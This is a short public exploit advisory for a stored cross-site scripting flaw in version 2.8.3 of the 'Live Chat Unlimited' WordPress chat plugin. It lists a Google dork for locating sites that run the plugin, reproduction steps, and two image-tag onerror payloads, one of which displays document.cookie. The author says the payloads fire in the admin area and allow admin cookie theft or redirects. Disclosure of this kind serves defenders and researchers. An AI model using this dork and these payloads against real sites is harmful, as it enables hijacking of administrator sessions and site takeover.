26 lines
No EOL
1 KiB
Text
26 lines
No EOL
1 KiB
Text
# Exploit Title: Live Chat Unlimited v2.8.3 Stored XSS Injection
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# Google Dork: inurl:"wp-content/plugins/screets-lcx"
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# Date: 2019/06/25
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# Exploit Author: m0ze
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# Vendor Homepage: https://screets.com/
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# Software Link: https://codecanyon.net/item/wordpress-live-chat-plugin/3952877
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# Version: 2.8.3
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# Tested on: Windows 10 / Parrot OS
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# CVE : -
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Info:
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Weak security measures like bad input field data filtering has been
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discovered in the «Live Chat Unlimited». Current version of this
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premium WordPress plugin is 2.8.3.
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PoC:
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Go to the demo website https://site.com/try/lcx/night-bird/ and open chat window by clicking on «Open/close» link, then click on «Online mode» to go online. Use your payload inside input field and press [Enter].
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Provided exaple payloads working on the admin area, so it's possible to steal admin cookies or force a redirect to any other
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website.
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Example #1: <!--<img src="--><img src=x onerror=(alert)(`m0ze`)//">m0ze
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Example #2: <!--<img src="--><img src=x onerror=(alert)(document.cookie)//">m0ze |